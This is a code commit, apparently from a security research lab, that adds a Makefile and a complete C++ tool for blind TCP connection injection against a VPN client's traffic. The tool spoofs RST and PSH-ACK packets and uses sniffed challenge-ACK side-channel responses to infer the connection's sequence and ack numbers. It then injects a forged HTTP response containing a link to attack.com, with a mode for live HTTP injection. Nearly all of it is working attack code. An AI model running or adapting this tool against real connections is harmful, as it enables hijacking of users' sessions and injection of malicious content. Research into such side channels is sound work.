added client side attack env to virtual lab and server side tcp

server-side-attack/tcp-sside/inject/Makefile

@@ -0,0 +1,2 @@
+all:
+	g++ -O3 -o send_p3 send.cpp -lpthread -ltins -std=c++11

server-side-attack/tcp-sside/inject/send.cpp

@@ -0,0 +1,695 @@
+#include <tins/tins.h>
+#include <cassert>
+#include <iostream>
+#include <string>
+#include <unistd.h>
+#include <thread>
+
+
+using std::thread;
+using std::cout;
+using std::vector;
+using namespace Tins;
+
+long current_spoof_seq;
+long current_spoof_ack;
+long current_min_ack;
+long best_seq = 0;
+long best_ack;
+
+vector<long> possible_seqs;
+vector<long> possible_acks;
+
+int num_sent = 0;
+int current_round = 1;
+bool ack_search = false;
+bool track_nums = false;
+bool count_chacks = false;
+bool sniffed_chack = false;
+
+bool show = false;
+bool testing = true; // if using netcat set to true, else false
+int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
+
+std::string victim_wlan_addr, dest_ip, remote_addr, interface;
+int sport, dport, request_size, chack_count;
+
+
+std::string dest_mac = "";
+std::string src_mac = "";
+
+
+void print_divider(int count) {
+  int i = 0;
+  while (i < count) {
+    cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
+    i++;
+  }
+}
+
+// Injects a malicious payload with the exact seq
+// and in-window ack inferred before
+//
+int inject_junk(long exact_seq, long in_win_ack) {
+
+  PacketSender sender;
+  NetworkInterface iface(interface);
+
+  std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
+
+  IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+
+  tcp.set_flag(TCP::PSH, 1);
+  tcp.set_flag(TCP::ACK, 1);
+  tcp.seq(exact_seq);
+  tcp.ack_seq(in_win_ack);
+
+  print_divider(2);
+  cout << "attempting to inject garbage into the connection..\n";
+  cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n";
+
+  sender.send(pkt, iface);
+  num_sent ++;
+
+  return 1;
+
+}
+
+
+// Send the same probe a number of times 
+// to see if the same amount of responses are 
+// triggered from the client
+//
+bool rechack(long seq, long ack, int num_checks) {
+
+  PacketSender sender;
+  NetworkInterface iface(interface);
+  count_chacks = true;
+
+  IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+
+  if (ack == 0) {
+    tcp.set_flag(TCP::RST, 1);
+  } else {
+    tcp.set_flag(TCP::PSH, 1);
+    tcp.set_flag(TCP::ACK, 1);
+    tcp.ack_seq(ack);
+  }
+
+
+  tcp.seq(seq);
+  chack_count = 0;
+  int count = 0;
+  usleep(1000000 / 2);
+
+  while (count < num_checks) {
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(1000000 / 2 * 1.2); // must sleep half second due to chall-ack rate limit
+    count ++;
+  }
+
+  usleep(1000000);
+
+  // should have just sniffed as many chacks as we just sent
+  cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n";
+
+  if (chack_count >= num_checks) {
+    return true;
+  }
+
+  count_chacks = false;
+
+  return false;
+
+}
+
+
+// Use the fact the client will respond to empty PSH-ACKs
+// that have an in window ack AND a sequence number less than the exact
+// next expected sequence, with chall-acks to infer exact sequence num
+//
+long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
+
+  PacketSender sender;
+  NetworkInterface iface(interface);
+
+  IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+
+  tcp.set_flag(TCP::PSH, 1);
+  tcp.set_flag(TCP::ACK, 1);
+  tcp.ack_seq(in_win_ack);
+
+  count_chacks = false;
+  track_nums = false;
+
+  long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
+  sniffed_chack = false;
+  long curr_seq = in_win_seq;
+
+  // Continually decrement the in window sequence number
+  // until we sniff a chack which means we just passed the
+  // left edge of the sequence window
+  //
+  print_divider(1);
+  bool is_found = false;
+
+  while (!is_found) {
+
+    long j = curr_seq;
+    sniffed_chack = false;
+
+    while (j > min_seq && !sniffed_chack) {
+      usleep(send_delay);
+      cout << "spoofing with seq: " << j << "\n";
+
+      tcp.seq(j);
+      sender.send(pkt, iface);
+      num_sent ++;
+      j -= 1;
+    }
+
+    usleep(100000);
+    curr_seq = best_seq;
+    cout << "best seq at end of exact scan: " << curr_seq << "\n";
+
+    print_divider(1);
+    is_found = rechack(curr_seq, in_win_ack, 2);
+    if (show) cout << "exact seq was in win after rechack? " << is_found << "\n";
+
+  }
+
+  return curr_seq;
+}
+
+
+// Use the fact the client will respond to empty PSH-ACKs
+// that have an in window sequence number AND ack number less than the
+// ack number in use with chall-acks to infer an in-window ack number
+//
+long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
+
+  PacketSender sender;
+  NetworkInterface iface(interface);
+
+  // Loop over ack space sending empty push-acks
+  // that use the in window sequence number found before
+  //
+
+  IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::PSH, 1);
+  tcp.set_flag(TCP::ACK, 1);
+  tcp.seq(in_win_seq);
+
+  sniffed_chack = false;
+  chack_count = 0;
+  count_chacks = true;
+  track_nums = true;
+
+  current_min_ack = min_ack;
+  long j = max_ack;
+  long current_ack = 0;
+  best_ack = 0;
+
+
+  while (j > min_ack && chack_count < chack_trigs) { 
+    usleep(send_delay);
+
+    tcp.ack_seq(j);
+    sender.send(pkt, iface);
+    num_sent ++;
+
+    if (verbose && show) cout << "spoofing with ack: " << j << "\n";
+
+    if (j < 100000000) { // for tiny ack range
+      j -= block_size / 100;
+
+    } else {
+      j -= block_size;
+    }
+  }
+
+  usleep(100000);
+
+
+  for (int i = 0; i < possible_acks.size(); i ++) {
+    long cack = possible_acks[i];
+    if (cack > current_ack) current_ack = cack;
+
+  }
+  cout << "best ack at end of ack scan: " << current_ack << "\n";
+  track_nums = false;
+
+  return current_ack;
+}
+
+// Finds the "quiet" portion of the ack range to
+// start scanning and then begins to find an approx
+// ack block close to the one being used
+//
+long quack_spread(long in_win_seq) {
+
+  cout << "starting quack spread w seq: " << in_win_seq << "\n";
+
+  long start_ack_guess = 4294967294 / 2;
+  long end_ack_guess = 100;
+
+  long block_size = 100000000;
+  sniffed_chack = false; // assume its gonna find an ack here first
+
+
+  // if the actual ack is less than half of the max_ack allowed,
+  // then it will consider acks at the very top end of the ack space (~429.....)
+  // to be less than that small ack. therefore, we check if the max ack
+  // triggers chacks right away, if so then we half the start_ack guess (~214....)
+
+
+  bool triggering = rechack(in_win_seq, start_ack_guess, 3);
+
+  cout << "is ack in upper half? " << triggering << "\n";
+
+  if (triggering) { // then we know the ack is in the lower half of the ack space
+    start_ack_guess = start_ack_guess * 2;
+  }
+
+  long j = start_ack_guess;
+  sniffed_chack = false;
+  print_divider(1);
+
+  // Now continually decrement ack until we trigger another chack
+  //
+
+  int send_delay = 75000;
+  bool is_found = false;
+  long current_ack = 0;
+
+  while (!is_found) {
+
+    current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1);
+
+    cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n";
+    print_divider(1);
+
+    // recheck and send multiple to make sure we found correct ack block
+    is_found = rechack(in_win_seq, current_ack, 2);
+    if (show) cout << "was in win after rechack? " << is_found << "\n";
+
+    if (!is_found) start_ack_guess = current_ack;
+  }
+
+
+  return current_ack;
+}
+
+// Use the fact the client will respond to RSTs
+// with an in-window sequence number with chall-acks to
+// infer an in-window seq number
+//
+long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
+
+  PacketSender sender;
+  NetworkInterface iface(interface);
+
+  long max_seq = top_seq;
+  long adder = prev_block_size * delay_mult;
+
+  cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n";
+
+  IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport);
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::RST, 1);
+
+  long i;
+
+  for (i = (max_seq - adder); i < max_seq; i += new_block_size) {
+    tcp.seq(i);
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(send_delay);
+  }
+
+  cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n";
+
+  return best_seq;
+
+}
+
+
+// Attempt to sniff challenge acks while recording
+// the last sequence or ack number we spoofed
+//
+bool handle_packet(PDU &some_pdu) {
+
+  const IP &ip = some_pdu.rfind_pdu<IP>();
+
+  if (ack_search) {
+    // keep track of the last ack num we spoofed
+    if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq();
+
+    if (ip.src_addr() == victim_wlan_addr) {
+
+      const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
+      //cout << payload << "\n";
+
+      if (payload == 115) { // each triggered chall-ack is 115 length SSL 
+        if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
+        if (count_chacks) chack_count += 1;
+        if (track_nums) possible_acks.push_back(current_spoof_ack);
+        if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack;
+        sniffed_chack = true;
+      }
+    }
+
+  } else if (sniff_request == 1) {
+    // sniffing for a certain client request size (last step after finding seq and ack)
+    if (ip.src_addr() == victim_wlan_addr) {
+      const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
+      cout << "sniffed cli request of size " << payload << "\n";
+      if (payload == request_size) {
+        sniff_request = 2;
+      }
+    }
+
+  } else { // sniffing for chack during sequence search
+
+    // keep track of the last sequence num we spoofed
+    if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq();
+
+    if (ip.src_addr() == victim_wlan_addr) {
+
+      const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
+      //cout << payload << "\n";
+
+      if (payload == 115) { // each triggered chall-ack is 1 length15 SSL
+
+        if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
+
+        if (track_nums) {
+          best_seq = current_spoof_seq;
+          possible_seqs.push_back(current_spoof_seq);
+        } else if (count_chacks) { //
+          chack_count += 1;
+          best_seq = current_spoof_seq;
+        } else {
+          if (!sniffed_chack) {
+
+            if (best_seq == 0) { // still in initial seq spread
+              best_seq = current_spoof_seq;
+              sniffed_chack = true;
+            } else {
+              // make sure new seq is less than the previous sniffed one
+              if (current_spoof_seq < best_seq) {
+                best_seq = current_spoof_seq;
+                sniffed_chack = true;
+              }
+            }
+
+          }
+        }
+
+      }
+
+    }
+  }
+
+  return true;
+}
+
+
+
+void sniff_stuff() {
+  SnifferConfiguration config;
+  config.set_promisc_mode(true);
+  Sniffer sniffer(interface, config);
+  sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
+}
+
+
+// Try to find an in window sequence number using
+// one of the very rough estimates found in the first
+// sequence spread
+long try_seq_block(long current_seq) {
+
+  // Just did round 1 spoofing fast to get rough estimate of
+  // in window sequence number, now we send a round 2 and 3 spreads
+  // using the approximated seq with lower send rates
+
+  current_round = 2;
+  sniffed_chack = false;
+  int wait_count = 0;
+  best_seq = current_seq;
+  usleep(1000000 / 2);
+
+  // this will take into account the last block size of 50k,
+  // skip in blocks of 1055 seq nums per send, assume the last
+  // rounds delay was 80 packets for a response, and send every 150 msecs
+  long s1 = find_seq_block(50000, 1055, 80, 150, current_seq);
+
+  while (best_seq == current_seq) {
+    usleep(500000);
+    if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
+    wait_count +=1;
+    if (wait_count > 5) return -1;
+  }
+
+  // Now we should have a close estimate to an in-window seq
+  // so next do a third scan at much slower rate to ensure its
+  // an in-window sequence num
+  print_divider(1);
+  usleep(1000000 / 2);
+
+  sniffed_chack = false;
+  current_round += 1;
+  current_seq = best_seq;
+  wait_count = 0;
+
+  long s2 = find_seq_block(1055, 20, 50, 600, current_seq); 
+
+  while (best_seq == current_seq) {
+    usleep(500000);
+    if (show) cout << "waiting on round 3 chack..\n";
+    wait_count +=1;
+    if (wait_count > 5) return -1;
+  }
+
+  return best_seq; 
+
+}
+
+// Gets rough estimate of sequence number in use
+// by spreading entire sequence range quickly then
+// tries to find in win sequence using each
+//
+long find_in_win_seq() {
+
+  PacketSender sender;
+  NetworkInterface iface(interface);
+
+  long start_seq_guess = 1;
+  long max_seq_num = 4294967295;
+  track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
+
+  cout << "spreading the connections entire sequence number range...\n";
+  usleep(1000000 / 2);
+
+  IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport);
+  TCP& tcp = pkt.rfind_pdu<TCP>();
+  tcp.set_flag(TCP::RST, 1);
+
+  long i;
+
+  for (i = start_seq_guess; i <  max_seq_num; i += 50000) { // sends to the whole sequence num space
+    tcp.seq(i);
+    sender.send(pkt, iface);
+    num_sent ++;
+    usleep(10);
+  }
+  usleep(1000000);
+  cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n";
+
+  track_nums = false;
+  int j = 0;
+  long in_win_seq = -1;
+
+  while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
+    print_divider(1);
+    current_round = 0;
+    if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n";
+    in_win_seq = try_seq_block(possible_seqs[j]);
+    j ++;
+    if (show) cout << "in win seq after try? " << in_win_seq << "\n";
+    usleep(1000000 / 2);
+  }
+
+
+  possible_seqs.clear();
+  track_nums = false;
+
+  print_divider(1);
+  usleep(1000000 / 2);
+
+  return best_seq;
+
+}
+
+
+// Send two spoof rounds while increasing the send delay and
+// decreasing block size to quickly get in-win ack estimate
+//
+long find_in_win_ack(long in_win_seq) {
+
+  // quack should be below current ack in use but we only rechack once first round
+  ack_search = true;
+  long quack = quack_spread(in_win_seq);
+
+  // Spoof empty PSH-ACKs starting at 'quack' plus some send delay
+  // until we sniff a chack and know we just went below the left
+  // edge of the ack window
+  usleep(1000000);
+  print_divider(1);
+  possible_acks.clear();
+
+  long block_size = 10000;
+  int send_delay = 500; 
+  long max_ack = quack + (1 * 100000000);
+  long min_ack = quack;
+  long clack;
+
+  bool is_found = false;
+
+  while (!is_found) { // retry ack scan until we find block triggering chacks
+
+    cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "\n";
+    clack = find_ack_block(max_ack, min_ack, in_win_seq, block_size, send_delay, false, 2);
+
+    is_found = rechack(in_win_seq, clack, 2);
+    if (show) cout << "was in win after rechack? " << is_found << "\n";
+    int i = 0;
+
+    while (!is_found && i < possible_acks.size()) {
+      long some_ack = possible_acks[i];
+      if (show) cout << "finished ack scan 1 w possible in window ack: " <<  some_ack << "\n";
+      print_divider(1);
+
+      is_found = rechack(in_win_seq, some_ack, 2);
+      if (show) cout << "was in win after rechack? " << is_found << "\n";
+      i ++;
+      if (is_found) clack = some_ack;
+
+    }
+    max_ack = clack;
+  }
+
+  possible_acks.clear();
+  usleep(1000);
+
+
+  // clack should be an in window ack so now we have both in window
+  // sequence and in window ack numbers.
+  //
+  ack_search = false;
+  track_nums = false;
+
+  // clack has been consistently within 40k of next ack while testing but
+  // in practical use it needs to be less than the expected ack by at most
+  // 20k to be accepted as a valid ack, so here we add 30k to counter our delay
+  // but we could add a third ack scan to make it more accurate
+  //
+  long in_win_ack = clack + 30000; 
+  return in_win_ack;
+}
+
+
+// After we've found exact seq and in-win ack, attacker waits
+// for a specific request size to inject the response into
+//
+int wait_for_request(long exact_seq, long in_win_ack) {
+  sniff_request = 1;
+  int res = 0;
+
+  while (sniff_request != 2) {
+    usleep(500000);
+    if (show) cout << "waiting for request of size..\n";
+  }
+
+  if(show) cout << "Sniffed request packet to respond to\n";
+
+  res = inject_junk(exact_seq, in_win_ack);
+
+  return res;
+}
+
+// Attempt to infer the exact sequence number
+// and in-window ack in use by the connection
+//
+int phase_three_spread() {
+
+  bool is_found = false;
+  long in_win_seq = 0;
+
+  // Loop until we find in window seq
+  while (!is_found) {
+    in_win_seq = find_in_win_seq();
+    print_divider(1);
+
+    is_found = rechack(in_win_seq, 0, 2);
+    cout << "approx seq: " << in_win_seq << " was in win after rechack? " << is_found << "\n";
+    if (!is_found) usleep(1000000 / 2);
+  }
+
+  // At this point we should have an in-window sequence number and
+  // next step is to find an in-window ack number for the connection
+  //
+  usleep(1000000 / 2);
+
+  long in_win_ack = find_in_win_ack(in_win_seq);
+
+  cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
+
+  long exact_seq = find_exact_seq(in_win_seq - 100, in_win_ack, 100000) + 1; // should be one less than left edge
+  cout << "final exact seq guess: " << exact_seq << "\n";
+  cout << "total number of packets sent: " << num_sent << "\n";
+  print_divider(2);
+
+  int res = 0;
+
+  if (testing) { // for netcat
+    res = inject_junk(exact_seq, in_win_ack);
+  } else { // for normal http injection
+    cout << "waiting for client to request any page within inferred connection...";
+    res = wait_for_request(exact_seq, in_win_ack);
+  }
+
+  return res;
+
+}
+
+
+int main(int argc, char** argv) {
+
+  if (argc != 8) {
+    cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, vpn_ip, dport, request_size, iface)\n";
+    return 0;
+  }
+
+  remote_addr = argv[1];
+  sport = atoi(argv[2]);
+  victim_wlan_addr = argv[3];
+  dest_ip = argv[4];
+  //dest_mac = argv[5];
+  dport = atoi(argv[5]);
+  request_size = atoi(argv[6]);
+  interface = argv[7];
+  thread sniff_thread(sniff_stuff);
+  print_divider(2);
+
+  int r = phase_three_spread();
+
+  sniff_thread.detach();
+
+  return 0;
+}